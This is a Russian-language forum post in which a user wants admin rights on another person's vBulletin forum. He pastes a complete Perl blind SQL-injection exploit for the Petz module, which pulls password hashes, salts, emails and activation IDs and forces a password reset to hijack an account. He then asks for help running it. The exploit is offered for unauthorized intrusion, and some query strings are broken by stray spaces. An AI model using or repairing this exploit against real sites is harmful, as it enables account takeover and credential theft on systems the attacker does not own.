Всем привет кто может мне помочь хочу получить права админа одного форма начал читать читал и не в курил не че.Что я делаю не так ? ВОТ: узнал версию движка форма vBulletin 3.6.4 нащел под него експлоит :#!/usr/bin/perl
# Vbulletin module Petz with sql-injection.
# coded by k1b0rg(768620)
#
# This exploit changing your buyer.
# A new password consists of figures, the length of 8 and going to take a great brut of time(passwords pro)
# If you do not need to change the password, simply stop exploit at the time of the removal of the password.
# Running exploit again sent two letters to the box. Be akkuratney.
# In the first test of vulnerability when sql error, the box webmaster sent a letter of error. Be akkuratney.
#
# dork: inurl
etz.php
#
# download module: http://dev.p3tz.com/
#
# Lamers go to жопа.
# exp: perl petz.pl -uhttp://forumteen.net/diendan/ -i1
#
# needly:
# mysql >=4
# magic_quotes off
# direct hands
#
# greets: antichat.ru mini-rinok.ru
#
use LWP::UserAgent;
use Getopt::Std;
use strict;
my %opts;
getopts("i
:l:P:s:e:u:",%opts);
my $url=$opts{u};
my $id=$opts{i} || 9107;
my $prefix=$opts{P} || '';
my $password1=$opts{p};
my $salt1=$opts{s};
my $length=$opts{l};
my $email1=$opts{e};
if(!$url || !$id)
{
echo('-------------------------FUCK YOU SPILBERG!----------------------');
echo('Petz sql injection');
echo('Founded and coded by k1b0rg(768620)');
echo('exp: perl petz.pl -uhttp://forumteen.net/diendan/ -i1');
echo('-------------------------FUCK YOU SPILBERG!----------------------');
exit;
}
my $browser = LWP::UserAgent->new();
$browser->requests_redirectable([]);
echo('Petz sql injection');
echo('Founded and coded by k1b0rg(768620)');
########check on vuln and getting prefix#######################################
echo('[\] Step 0: [Checking vuln]');
my $res=$browser->get($url.'petz.php?do=view&id=9995681\'');
if($res->content=~/Database error/i)
{
echo('[|] This script is vulnerable!!!!');
$res->content=~/LEFT JOIN (.*?)user/i;
echo('[/] Prefix is: ['.$1.']');
}
else
{
echo('[|] This script NOT vulnerable!!!!');
exit;
}
########password1################################# ######
echo('[-] Step 1: [getting password(one) user by id ['.$id.']');
echo('[\] Password(1): [');
if(!$password1)
{
for(1..32)
{
my $pos=$_;
for(48..57,97..103)
{
my $asc=$_;
if($asc==103) {echo('EXPLOIT FAILED]',0); exit;}
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+unio n+SELECT+666,666+FROM+'.$prefix.' user+WHERE+userid=\''.$id.'\'+and(ascii(substring( password,'.$pos.',1))='.$asc.')/*');
if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); last; }
}
}
}
else
{
echo($password1,0);
}
echo(']',0);
########salt1##################################### ##
echo('[|] Step 2: [getting salt(one) user by id ['.$id.']');
echo('[-] Salt(1): [');
my $salt;
if(!$salt1)
{
for(1..3)
{
my $pos=$_;
for(33..126)
{
my $asc=$_;
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+unio n+SELECT+666,666+FROM+'.$prefix.' user+WHERE+userid=\''.$id.'\'+and(ascii(substring( salt,'.$pos.',1))='.$asc.')/*');
if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $salt.=chr($asc); last; }
}
}
}
else
{
$salt=$salt1;
echo($salt,0);
}
echo(']',0);
########Checking email length#######################################
echo('[\] Step 3: [Checking email length ['.$id.']');
echo('[|] Email length: [');
my $num;
if(!$email1)
{
if(!$length)
{
for(6..32)
{
$num=$_;
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+unio n+SELECT+666,666+FROM+'.$prefix.' user+WHERE+userid=\''.$id.'\'+and(length(email)='. $num.')/*');
if($res->content!~/Untrapped Error/is) {echo($num,0); last; }
}
}
else
{
$num=$length;
echo($num,0);
}
}
else
{
$num=length($email1);
echo($num,0);
}
echo(']',0);
########losting email#######################################
echo('[/] Step 4: [getting email user by id ['.$id.']');
echo('[-] Email: [');
my $email;
if(!$email1)
{
for(1..$num)
{
my $pos=$_;
for(48..57,64,97..122)
{
my $asc=$_;
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+unio n+SELECT+666,666+FROM+'.$prefix.' user+WHERE+userid=\''.$id.'\'+and(ascii(lower(subs tring(email,'.$pos.',1)))='.$asc.')/*');
if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $email.=chr($asc); last; }
}
}
}
else
{
$email=$email1;
echo($email,0);
}
echo(']',0);
########lost_password############################# ##########
echo('[\] Step 5: [Losting password]');
$browser->post($url.'login.php',
[
email=>$email,
do=>'emailpassword'
]);
########losting activationid###################################### #
echo('[|] Step 7: [getting activationid user by id ['.$id.']');
echo('[/] activationid: [');
my $valid;
for(1..8)
{
my $pos=$_;
for(48..57)
{
my $asc=$_;
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+unio n+SELECT+666,666+FROM+'.$prefix.' useractivation+WHERE+userid=\''.$id.'\'+and(ascii( substring(activationid,'.$pos.',1))='.$asc.')/*');
if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $valid.=chr($asc); last; }
}
}
echo(']',0);
########lost_password############################# ##########
echo('[-] Step 8: [Losting password]');
$browser->get($url.'login.php?a=pwd&u='.$id.'&i='.$valid) ;
########password2################################# ######
echo('[\] Step 9: [getting password(two) user by id ['.$id.']');
echo('[|] Password(2): [');
my $newhash;
for(1..32)
{
my $pos=$_;
for(48..57,97..102)
{
my $asc=$_;
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+unio n+SELECT+666,666+FROM+'.$prefix.' user+WHERE+userid=\''.$id.'\'+and(ascii(substring( password,'.$pos.',1))='.$asc.')/*');
if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $newhash.=chr($asc); last; }
}
}
echo(']',0);
echo('News hash && salt: ['.$newhash.':'.$salt.']');
sub echo{
my $text=shift;
my $param=shift;
my $razdel=($param eq 0)?'':"\n";
syswrite STDOUT,$razdel.$text;
}
Далее переменовываю его в 1.pl
1) пуск->выполнить->cmd
2)cd\
3)cd c:\perl\bin
4)perl E:\1.pl www.forum/.....ru / 1 1
он мне пишит
------------------FUCK YOU SPILBERG!-------------------
Petz sql injection
Founded and coded by k1b0rg<768320>
exp
erl petz.pl -uhttp://forumteen.net/diendan/ i1
________________________________________
Что не так делаю помогите плиз
Похожие темы
Линейный вид
